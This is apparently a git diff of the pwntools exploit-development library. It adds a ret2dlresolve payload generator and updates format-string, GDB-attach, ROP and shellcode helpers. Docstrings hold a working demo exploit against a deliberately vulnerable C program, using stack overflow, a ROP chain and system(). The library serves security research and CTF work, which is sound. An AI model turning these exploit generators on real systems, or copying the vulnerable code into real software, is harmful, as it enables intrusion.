>>> print(repr(fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')))
>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'%1c%3$na\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')))
>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
"""
sz = WRITE_SIZE[write_size]
@@ -835,15 +835,6 @@ class FmtStr(object):
"""
def __init__(self, execute_fmt, offset = None, padlen = 0, numbwritten = 0):
"""
Instantiates an object which try to automating exploit the vulnerable process
Arguments:
execute_fmt(function): function to call for communicate with the vulnerable process
offset(int): the first formatter's offset you control
padlen(int): size of the pad you want to add before the payload
numbwritten(int): number of already written bytes
"""
self.execute_fmt = execute_fmt
self.offset = offset
self.padlen = padlen
@@ -858,7 +849,8 @@ class FmtStr(object):
self.leaker = MemLeak(self._leaker)
def leak_stack(self, offset, prefix=b""):
leak = self.execute_fmt(prefix + b"START%%%d$pEND" % offset)
payload = b"START%%%d$pEND" % offset
leak = self.execute_fmt(prefix + payload)
try:
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
leak = int(leak, 16)
@@ -872,7 +864,7 @@ class FmtStr(object):
leak = self.leak_stack(off, marker)
leak = pack(leak)
pad = cyclic_find(leak)
pad = cyclic_find(leak[:4])
if pad >= 0 and pad < 20:
return off, pad
else:
@@ -889,7 +881,10 @@ class FmtStr(object):
if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == b"ELF":
return b"\x7f"
fmtstr = randoms(self.padlen).encode() + pack(addr) + b"START%%%d$sEND" % self.offset
fmtstr = fit({
self.padlen: b"START%%%d$sEND" % (self.offset + 16//context.bytes),
16 + self.padlen: addr
})
leak = self.execute_fmt(fmtstr)
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
+87 -78
View File
@@ -67,7 +67,7 @@ which is intended to prevent processes from debugging eachother unless there is
a direct parent-child relationship.
This causes some issues with the normal Pwntools workflow, since the process
heirarchy looks like this:
hierarchy looks like this:
::
@@ -110,6 +110,7 @@ from pwnlib.asm import make_elf_from_assembly
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.timeout import Timeout
from pwnlib.util import misc
from pwnlib.util import proc
@@ -300,8 +301,7 @@ def _get_runner(ssh=None):
@LocalContext
def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kwargs):
r"""debug(args) -> tube
r"""
Launch a GDB server with the specified command line,
and launches GDB to attach to it.
@@ -354,9 +354,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
... break main
... continue
... ''')
>>> # Send a command to Bash
>>> io.sendline("echo hello")
>>> io.recvline()
b'hello\n'
>>> # Interact with the process
>>> io.interactive() # doctest: +SKIP
>>> io.close()
@@ -371,9 +373,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
... break free
... continue
... ''')
>>> # Send a command to Bash
>>> io.sendline("echo hello")
>>> io.recvline()
b'hello\n'
>>> # Interact with the process
>>> io.interactive() # doctest: +SKIP
>>> io.close()
@@ -381,7 +385,6 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.
>>> # Connect to the SSH server
>>> # Start a process on the server
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = gdb.debug(['bash'],
@@ -390,10 +393,8 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
... break main
... continue
... ''')
>>> # Send a command to Bash
>>> io.sendline("echo hello")
>>> # Interact with the process
>>> io.interactive() # doctest: +SKIP
>>> io.close()
@@ -457,7 +458,7 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
if not ssh and context.os == 'android':
host = context.adb_host
attach((host, port), exe=exe, gdbscript=gdbscript, need_ptrace_scope = False, ssh=ssh, sysroot=sysroot)
attach((host, port), exe=exe, gdbscript=gdbscript, ssh=ssh, sysroot=sysroot)
# gdbserver outputs a message when a client connects
garbage = gdbserver.recvline(timeout=1)
@@ -505,9 +506,8 @@ def binary():
return gdb
@LocalContext
def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_args = None, ssh = None, sysroot = None):
r"""attach(target, gdbscript = None, exe = None, arch = None, ssh = None) -> None
def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysroot = None):
r"""
Start GDB in a new terminal and attach to `target`.
Arguments:
@@ -545,68 +545,62 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
Examples:
>>> # Attach directly to pid 1234
>>> gdb.attach(1234) # doctest: +SKIP
Attach to a process by PID
>>> pid = gdb.attach(1234) # doctest: +SKIP
>>> # Attach to the youngest "bash" process
>>> gdb.attach('bash') # doctest: +SKIP
Attach to the youngest process by name
>>> pid = gdb.attach('bash') # doctest: +SKIP
>>> # Start a process
>>> bash = process('bash')
Attach a debugger to a :class:`.process` tube and automate interaction
>>> # Attach the debugger
>>> pid = gdb.attach(bash, '''
... set follow-fork-mode child
... break execve
... continue
... ''')
>>> io = process('bash')
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from process debugger!")
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from process debugger!\n'
>>> io.sendline('echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
>>> # Interact with the process
>>> bash.sendline("/bin/echo hello")
>>> bash.recvline()
b'hello\n'
>>> bash.close()
Attach to the remote process from a :class:`.remote` or :class:`.listen` tube,
as long as it is running on the same machine.
>>> # Start a forking server
>>> server = process(['socat', 'tcp-listen:12345,fork,reuseaddr', 'exec:/bin/bash,nofork'])
>>> sleep(1)
>>> server = process(['socat', 'tcp-listen:12345,reuseaddr,fork', 'exec:/bin/bash,nofork'])
>>> sleep(1) # Wait for socat to start
>>> io = remote('127.0.0.1', 12345)
>>> sleep(1) # Wait for process to fork
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from remote debugger!")
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from remote debugger!\n'
>>> io.sendline('echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
>>> # Connect to the server
>>> io = remote('127.0.0.1', 12345)
>>> # Connect the debugger to the server-spawned process
>>> pid = gdb.attach(io, '''
... break exit
... continue
... ''', exe = '/bin/bash')
>>> # Talk to the spawned 'sh'
>>> io.sendline("echo hello")
>>> io.recvline()
b'hello\n'
>>> io.sendline("exit")
>>> io.close()
>>> # Connect to the SSH server
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> # Start a process on the server
>>> cat = shell.process(['cat'])
>>> # Attach a debugger to it
>>> gdb.attach(cat, '''
... break exit
... continue
... ''')
>>> cat.sendline("hello")
>>> cat.recvline()
b'hello\n'
>>> # Cause `cat` to exit
>>> cat.close()
Attach to processes running on a remote machine via an SSH :class:`.ssh` process
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = shell.process(['cat'])
>>> pid = gdb.attach(io, gdbscript='''
... call sleep(5)
... call puts("Hello from ssh debugger!")
... detach
... quit
... ''')
>>> io.recvline(timeout=5) # doctest: +SKIP
b'Hello from ssh debugger!\n'
>>> io.sendline('This will be echoed back')
>>> io.recvline()
b'This will be echoed back\n'
>>> io.close()
"""
if context.noptrace:
log.warn_once("Skipping debug attach since context.noptrace==True")
@@ -675,8 +669,6 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
if shell.keyfile:
cmd += ['-i', shell.keyfile]
exefile = target.executable
if six.PY3:
exefile = exefile.decode()
cmd += ['gdb -q %s %s -x "%s"' % (exefile,
target.pid,
tmpfile)]
@@ -687,17 +679,24 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
elif isinstance(target, tubes.sock.sock):
pids = proc.pidof(target)
if not pids:
log.error('could not find remote process (%s:%d) on this machine' %
log.error('Could not find remote process (%s:%d) on this machine' %
target.sock.getpeername())
waiting = True
if exe:
while waiting:
for pid in pids:
if proc.exe(pid) == exe:
waiting = False
break
else:
time.sleep(0.01)
pid = pids[0]
# Specifically check for socat, since it has an intermediary process
# if you do not specify "nofork" to the EXEC: argument
# python(2640)───socat(2642)───socat(2643)───bash(2644)
if proc.exe(pid).endswith('/socat') and time.sleep(0.1) and proc.children(pid):
pid = proc.children(pid)[0]
# We may attach to the remote process after the fork but before it performs an exec.
# If an exe is provided, wait until the process is actually running the expected exe
# before we attach the debugger.
t = Timeout()
with t.countdown(2):
while exe and os.realpath(proc.exe(pid)) != os.realpath(exe) and t.timeout:
time.sleep(0.1)
elif isinstance(target, tubes.process.process):
pid = proc.pidof(target)[0]
exe = exe or target.executable
@@ -781,7 +780,7 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
tmp.write(gdbscript)
tmp.close()
cmd += ' -x "%s"' % (tmp.name)
cmd += ' -x %s' % (tmp.name)
log.info('running in new terminal: %s' % cmd)
@@ -945,13 +944,23 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
return rv
def corefile(process):
r"""Drops a core file for the process.
r"""Drops a core file for a running local process.
Note:
You should use :meth:`.process.corefile` instead of using this method directly.
Arguments:
process: Process to dump
Returns:
:class:`.Core`: The generated core file
Example:
>>> io = process('bash')
>>> core = gdb.corefile(io)
>>> core.exe.name
'/bin/bash'
"""
if context.noptrace:
+4 -1
View File
@@ -3,7 +3,10 @@ from pwnlib.tubes.process import process
from time import sleep
from sys import argv
sleep(1)
sh = process(argv[1], shell=True)
if len(argv) == 2:
sh = process(argv[1], shell=True)
else:
sh = process(argv[1:])
sh.sendline('set prompt (gdb)')
res = sh.sendlineafter('(gdb)', 'c')
while b'The program is not being run.' not in res:
+1 -1
View File
@@ -37,7 +37,7 @@ class PwntoolsLexer(RegexLexer):
#: optional Comment or Whitespace
string = r'"(\\"|[^"])*"'
char = r'[\w$.@-]'
identifier = r'(?:[a-zA-Z$_]' + char + '*|\.' + char + '+|or)'
identifier = r'(?:[a-zA-Z$_]' + char + r'*|\.' + char + '+|or)'
number = r'(?:0[xX][a-zA-Z0-9]+|\d+)'
memory = r'(?:[\]\[])'
bad = r'(?:\(bad\))'
+1 -1
View File
@@ -164,7 +164,7 @@ def search_by_sha256(hex_encoded_id):
def get_build_id_offsets():
"""
Returns a list of file offsets where the Build ID should reside within
an ELF file of the currentlys-elected architecture.
an ELF file of the currently selected architecture.
"""
# Given the corpus of almost all libc to have been released with
# RedHat, Fedora, Ubuntu, Debian, etc. over the past several years,
+2 -2
View File
@@ -179,7 +179,7 @@ class Progress(object):
self.rate = kwargs.pop('rate', 0)
self._log(status, args, kwargs, 'status')
# it is a common use case to create a logger and then immediately update
# its status line, so we reset `last_status` to accomodate this pattern
# its status line, so we reset `last_status` to accommodate this pattern
self.last_status = 0
def _log(self, status, args, kwargs, msgtype):
@@ -650,7 +650,7 @@ log_file.setFormatter(logging.Formatter(fmt, iso_8601))
# The root 'pwnlib' logger is declared here. To change the target of all
# 'pwntools'-specific logging, only this logger needs to be changed.
#
# Logging cascades upward through the heirarchy,
# Logging cascades upward through the hierarchy,
# so the only point that should ever need to be
# modified is the root 'pwnlib' logger.
#
+1 -1
View File
@@ -469,7 +469,7 @@ class AdbClient(Logger):
path = path.encode('utf-8')
self.c.flat32('STAT', len(path), path)
if self.c.recvn(4) != b'STAT':
self.error("An error occured while attempting to STAT a file.")
self.error("An error occurred while attempting to STAT a file.")
mode = self.c.u32()
size = self.c.u32()
+14 -3
View File
@@ -166,7 +166,7 @@ class AppendedArgument(Unresolved):
for i, value in enumerate(self.values):
if isinstance(value, six.integer_types):
rv[i] = value
if isinstance(value, str):
if isinstance(value, six.text_type):
value = context._encode(value)
if isinstance(value, (bytes, bytearray)):
value += b'\x00'
@@ -177,6 +177,7 @@ class AppendedArgument(Unresolved):
if isinstance(value, Unresolved):
rv[i] = value.address
rv.extend(value.resolve())
assert rv[i] is not None
return rv
@@ -218,8 +219,8 @@ class Call(object):
#: Arguments to the call
args = []
def __init__(self, name, target, args, abi=None):
assert isinstance(name, str)
def __init__(self, name, target, args, abi=None, before=()):
assert isinstance(name, (bytes, six.text_type))
# assert isinstance(target, six.integer_types)
assert isinstance(args, (list, tuple))
self.abi = abi or ABI.default()
@@ -229,6 +230,7 @@ class Call(object):
for i, arg in enumerate(args):
if not isinstance(arg, six.integer_types+(Unresolved,)):
self.args[i] = AppendedArgument(arg)
self.stack_arguments_before = before
def __repr__(self):
fmt = "%#x" if isinstance(self.target, six.integer_types) else "%r"
@@ -236,6 +238,15 @@ class Call(object):
self.name,
fmt % self.target,
self.args)
@property
def register_arguments(self):
return dict(zip(self.abi.register_arguments, self.args))
@property
def stack_arguments(self):
return self.args[len(self.abi.register_arguments):]
@classmethod
def _special_repr(cls, x):
if isinstance(x, AppendedArgument):
+355
View File
@@ -0,0 +1,355 @@
r"""
Provides automatic payload generation for exploiting buffer overflows
using ret2dlresolve.
Example:
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <unistd.h>
... void vuln(void){
... char buf[64];
... read(STDIN_FILENO, buf, 200);
... }
... int main(int argc, char** argv){
... vuln();
... }''')
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> context.binary = program
>>> elf = ELF(program)
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump()) # doctest: +SKIP
0x0000: 0x8049030 read(0, 0x804ce00)
0x0004: 0x8049208 <adjust @0x10> pop edi; pop ebp; ret
0x0008: 0x0 arg0
0x000c: 0x804ce00 arg1
0x0010: 0x8049020 [plt_init] system(0x804ce30)
0x0014: 0x4b74 [dlresolve index]
0x0018: b'gaaa' <return address>
0x001c: 0x804ce30 arg0
>>> p = process(program)
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'
>>> # and now for 64 bits
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-o", program]
>>> process(cmdline).wait_for_close()
>>> context.binary = program
>>> elf = ELF(program)
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump()) # doctest: +SKIP
0x0000: 0x4011aa pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x4011a8 pop rsi; pop r15; ret
0x0018: 0x404e00 [arg1] rsi = 4214272
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x401030 read
0x0030: 0x4011aa pop rdi; ret
0x0038: 0x404e58 [arg0] rdi = 4214360
0x0040: 0x401020 [plt_init] system
0x0048: 0x318 [dlresolve index]
>>> p = process(program)
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
>>> if dlresolve.unreliable:
... p.poll(True) == -signal.SIGSEGV
... else:
... p.recvline() == b'pwned\n'
True
"""
from copy import deepcopy
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.packing import *
from pwnlib.util.misc import align
log = getLogger(__name__)
ELF32_R_SYM_SHIFT = 8
ELF64_R_SYM_SHIFT = 32
class Elf32_Rel(object):
"""
.. code-block:: c
typedef struct elf32_rel {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
"""
size=1 # see _build_structures method for explanation
def __init__(self, r_offset=0, r_info=0):
self.r_offset = r_offset
self.r_info = r_info
def __flat__(self):
return p32(self.r_offset) + p32(self.r_info)
def __bytes__(self):
return self.__flat__()
class Elf64_Rel(object):
"""
.. code-block:: c
typedef struct elf64_rel {
Elf64_Addr r_offset;
Elf64_Xword r_info;
} Elf64_Rel;
"""
size=24
def __init__(self, r_offset=0, r_info=0):
self.r_offset = r_offset
self.r_info = r_info
def __flat__(self):
return p64(self.r_offset) + p64(self.r_info) + p64(0)
def __bytes__(self):
return self.__flat__()
class Elf32_Sym(object):
"""
.. code-block:: c
typedef struct elf32_sym{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Half st_shndx;
} Elf32_Sym;
"""
size = 16
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
self.st_name = st_name
self.st_value = st_value
self.st_size = st_size
self.st_info = st_info
self.st_other = st_other
self.st_shndx = st_shndx
def __flat__(self):
return p32(self.st_name) + \
p32(self.st_value) + \
p32(self.st_size) + \
p8(self.st_info) + \
p8(self.st_other) + \
p16(self.st_shndx)
def __bytes__(self):
return self.__flat__()
class Elf64_Sym(object):
"""
.. code-block:: c
typedef struct elf64_sym {
Elf64_Word st_name;
unsigned char st_info;
unsigned char st_other;
Elf64_Half st_shndx;
Elf64_Addr st_value;
Elf64_Xword st_size;
} Elf64_Sym;
"""
size=24
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
self.st_name = st_name
self.st_value = st_value
self.st_size = st_size
self.st_info = st_info
self.st_other = st_other
self.st_shndx = st_shndx
def __flat__(self):
return p32(self.st_name) + \
p8(self.st_info) + \
p8(self.st_other) + \
p16(self.st_shndx) + \
p64(self.st_value) + \
p64(self.st_size)
def __bytes__(self):
return self.__flat__()
class Queue(list):
def size(self):
size = 0
for v in self:
# Lists, strings and ints all have size context.size
# Assuming int size equals address size
if isinstance(v, MarkedBytes):
size += len(v)
else:
size += context.bytes
return size
class MarkedBytes(bytes):
pass
class Ret2dlresolvePayload(object):
def __init__(self, elf, symbol, args, data_addr=None):
self.elf = elf
self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
self.symbol = context._encode(symbol)
self.args = args
self.real_args = self._format_args()
self.unreliable = False
self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
# Will be set when built
self.reloc_index = -1
self.payload = b""
# PIE is untested, gcc forces FULL-RELRO when PIE is set
if self.elf.pie and self.elf_load_address_fixup == 0:
log.warning("WARNING: ELF is PIE but has no base address set")
self._build()
def _format_args(self):
# Encode every string in args
def aux(args):
for i, arg in enumerate(args):
if isinstance(arg, (str,bytes)):
args[i] = context._encode(args[i]) + b"\x00"
elif isinstance(arg, (list, tuple)):
aux(arg)
args = deepcopy(self.args)
aux(args)
return args
def _get_recommended_address(self):
bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
bss_size = self.elf.get_section_by_name(".bss").header.sh_size
addr = bss + bss_size
addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
return addr
def _build_structures(self):
# The first part of the payload is the usual of ret2dlresolve.
if context.bits == 32:
ElfSym = Elf32_Sym
ElfRel = Elf32_Rel
ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
elif context.bits == 64:
ElfSym = Elf64_Sym
ElfRel = Elf64_Rel
ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
else:
log.error("Unsupported bits")
# where the address of the symbol will be saved
# (ElfRel.r_offset points here)
symbol_space = b"A"*context.bytes
# Symbol name. Ej: system
symbol_name_addr = self.data_addr + len(self.payload)
symbol_name = self.symbol + b"\x00"
symbol_end_addr = symbol_name_addr + len(symbol_name)
# ElfSym
index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
sym_addr = self.symtab + ElfSym.size * index
sym = ElfSym(st_name=symbol_name_addr - self.strtab)
sym_end_addr = sym_addr + sym.size
# It seems to be treated as an index in 64b and
# as an offset in 32b. That's why Elf32_Rel.size = 1
self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
# ElfRel
rel_addr = self.jmprel + self.reloc_index * ElfRel.size
rel_type = 7
rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
self.payload = fit({
symbol_name_addr - self.data_addr: symbol_name,
sym_addr - self.data_addr: sym,
rel_addr - self.data_addr: rel
})
ver_addr = self.versym + 2 * index # Elf_HalfWord
log.debug("Symtab: %s", hex(self.symtab))
log.debug("Strtab: %s", hex(self.strtab))
log.debug("Versym: %s", hex(self.versym))
log.debug("Jmprel: %s", hex(self.jmprel))
log.debug("ElfSym addr: %s", hex(sym_addr))
log.debug("ElfRel addr: %s", hex(rel_addr))
log.debug("Symbol name addr: %s", hex(symbol_name_addr))
log.debug("Version index addr: %s", hex(ver_addr))
log.debug("Data addr: %s", hex(self.data_addr))
if not self.elf.memory[ver_addr]:
log.warn("Ret2dlresolve is likely impossible in this ELF "
"(too big gap between text and writable sections).\n"
"If you get a segmentation fault with fault_addr = %#x, "
"try a different technique.", ver_addr)
self.unreliable = True
def _build_args(self):
# The second part of the payload will include strings and pointers needed for ROP.
queue = Queue()
# We first have to process the arguments: replace lists and strings with
# pointers to the payload. Add lists contents and marked strings to the queue
# to be processed later.
for i, arg in enumerate(self.real_args):
if isinstance(arg, (list, tuple)):
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
queue.extend(arg)
elif isinstance(arg, bytes):
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
queue.append(MarkedBytes(arg))
# Now we process the generated queue, which contains elements that will be in
# the payload. We replace lists and strings with pointers, add lists elements
# to the queue, and mark strings so next time they are processed they are
# added and not replaced again.
while len(queue) > 0:
top = queue[0]
if isinstance(top, (list, tuple)):
top = pack(self.data_addr + len(self.payload) + queue.size())
queue.extend(queue[0])
elif isinstance(top, MarkedBytes):
# Just add them
pass
elif isinstance(top, bytes):
top = pack(self.data_addr + len(self.payload) + queue.size())
queue.append(MarkedBytes(queue[0]))
elif isinstance(top, int):
top = pack(top)
self.payload += top
queue.pop(0)
def _build(self):
self._build_structures()
self._build_args()
+28 -3
View File
@@ -290,6 +290,7 @@ from pwnlib.context import context
from pwnlib.elf import ELF
from pwnlib.log import getLogger
from pwnlib.rop import srop
from . import ret2dlresolve
from pwnlib.rop.call import AppendedArgument
from pwnlib.rop.call import Call
from pwnlib.rop.call import CurrentStackPointer
@@ -305,6 +306,13 @@ from pwnlib.util.packing import pack
log = getLogger(__name__)
__all__ = ['ROP']
enums = Call, constants.Constant
try:
from enum import Enum
except ImportError:
pass
else:
enums += Enum,
class Padding(object):
"""
@@ -685,7 +693,7 @@ class ROP(object):
"""
Return a description for an object in the ROP stack
"""
if isinstance(object, (Call, constants.Constant)):
if isinstance(object, enums):
return str(object)
if isinstance(object, six.integer_types):
return self.unresolve(object)
@@ -767,7 +775,7 @@ class ROP(object):
elif isinstance(slot, Call):
stack.describe(self.describe(slot))
registers = dict(zip(slot.abi.register_arguments, slot.args))
registers = slot.register_arguments
for value, name in self.setRegisters(registers):
if name in registers:
@@ -786,7 +794,10 @@ class ROP(object):
stack.append(slot.target)
# For any remaining arguments, put them on the stack
stackArguments = slot.args[len(slot.abi.register_arguments):]
stackArguments = slot.stack_arguments
for argument in slot.stack_arguments_before:
stack.describe("[dlresolve index]")
stack.append(argument)
nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))
# Generally, stack-based arguments assume there's a return
@@ -1280,6 +1291,20 @@ class ROP(object):
return result
def ret2dlresolve(self, dlresolve):
elf = next(elf for elf in self.elfs if elf.get_section_by_name(".plt"))
elf_base = elf.address if elf.pie else 0
plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base
log.debug("PLT_INIT: %#x", plt_init)
reloc_index = dlresolve.reloc_index
real_args = dlresolve.real_args
call = Call("[plt_init] " + dlresolve.symbol.decode(),
plt_init,
dlresolve.real_args,
before=[reloc_index])
self.raw(call)
def __getattr__(self, attr):
"""Helper to make finding ROP gadets easier.
@@ -17,18 +17,11 @@ Example:
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
>>> gcc = process(['aarch64-linux-gnu-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
... printf("Hello, %s!\\n", "world");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
>>> run_assembly(sc).recvline()
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
</%docstring>
@@ -47,7 +40,7 @@ ${there}:
<%
import os
if os.path.isfile(data):
if b'\x00' not in data and os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
+15 -58
View File
@@ -15,64 +15,19 @@ Args:
Examples:
>>> print(shellcraft.pushstr("Hello!").rstrip())
/* push b'Hello!\x00' */
/* Set x14 = 36762444129608 = 0x216f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #8559, lsl #0x20
str x14, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world!").rstrip())
/* push b'Hello, world!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 143418749551 = 0x21646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #33, lsl #0x20
stp x14, x15, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world, bienvenue").rstrip())
/* push b'Hello, world, bienvenue\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 28558089656888933 = 0x65756e65766e65 */
mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #101, lsl #0x30
str x14, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world, bienvenue!").rstrip())
/* push b'Hello, world, bienvenue!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 2406458692908510821 = 0x2165756e65766e65 */
mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #8549, lsl #0x30
mov x15, xzr
stp x14, x15, [sp, #-16]!
>>> string = "Hello, world!"
>>> assembly = shellcraft.pushstr(string)
>>> assembly += shellcraft.write(1, 'sp', len(string))
>>> assembly += shellcraft.exit()
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello, world!'
>>> string = "Hello, world! This is a long string! Wow!"
>>> assembly = shellcraft.pushstr(string)
>>> assembly += shellcraft.write(1, 'sp', len(string))
>>> assembly += shellcraft.exit()
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello, world! This is a long string! Wow!'
</%docstring>
<%
if isinstance(string, six.text_type):
@@ -91,6 +46,8 @@ while len(string) % 8:
words = packing.unpack_many(string)
pairs = lists.group(2, words)
pairs = pairs[::-1]
# The stack must be 16-byte aligned
total = len(pairs) * 16
@@ -2,7 +2,7 @@
from pwnlib import shellcraft
from pwnlib.context import context as ctx
from pwnlib.util.iters import group
from six import text_type, binary_type
from six import text_type, binary_type, ensure_binary
%>
<%docstring>
Pushes an array/envp-style array of pointers onto the stack.
@@ -14,66 +14,44 @@ Arguments:
Single argument or list of arguments to push.
NULL termination is normalized so that each argument
ends with exactly one NULL byte.
Example:
>>> assembly = shellcraft.execve("/bin/sh", ["sh", "-c", "echo Hello string $WORLD"], {"WORLD": "World!"})
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello string World!\n'
</%docstring>
<%page args="reg, array, register1='x14', register2='x15'"/>
<%
if isinstance(array, (binary_type, text_type)):
array = [array]
# Normalize all of the arguments' endings
# Convert all items to strings
array = [ensure_binary(x) for x in array]
# Normalize line endings for each item
array = [arg.rstrip(b'\x00') + b'\x00' for arg in array]
# Join everything in the string-to-be-pushed
string = b''.join(array)
# Maximum amount that we can adjust SP by at once is 4095,
# which seems like a safe maximum.
if len(array) * 8 > 4095:
raise Exception("Array size is too large (%i), max=4095" % len(array))
# Join them into one big string that can be pushed
array_str = b''.join(array)
# Create a listing of offsets from what will be the "top" of the stack.
num_pointers = len(array)
# Account for the NULL terminator
num_pointers += 1
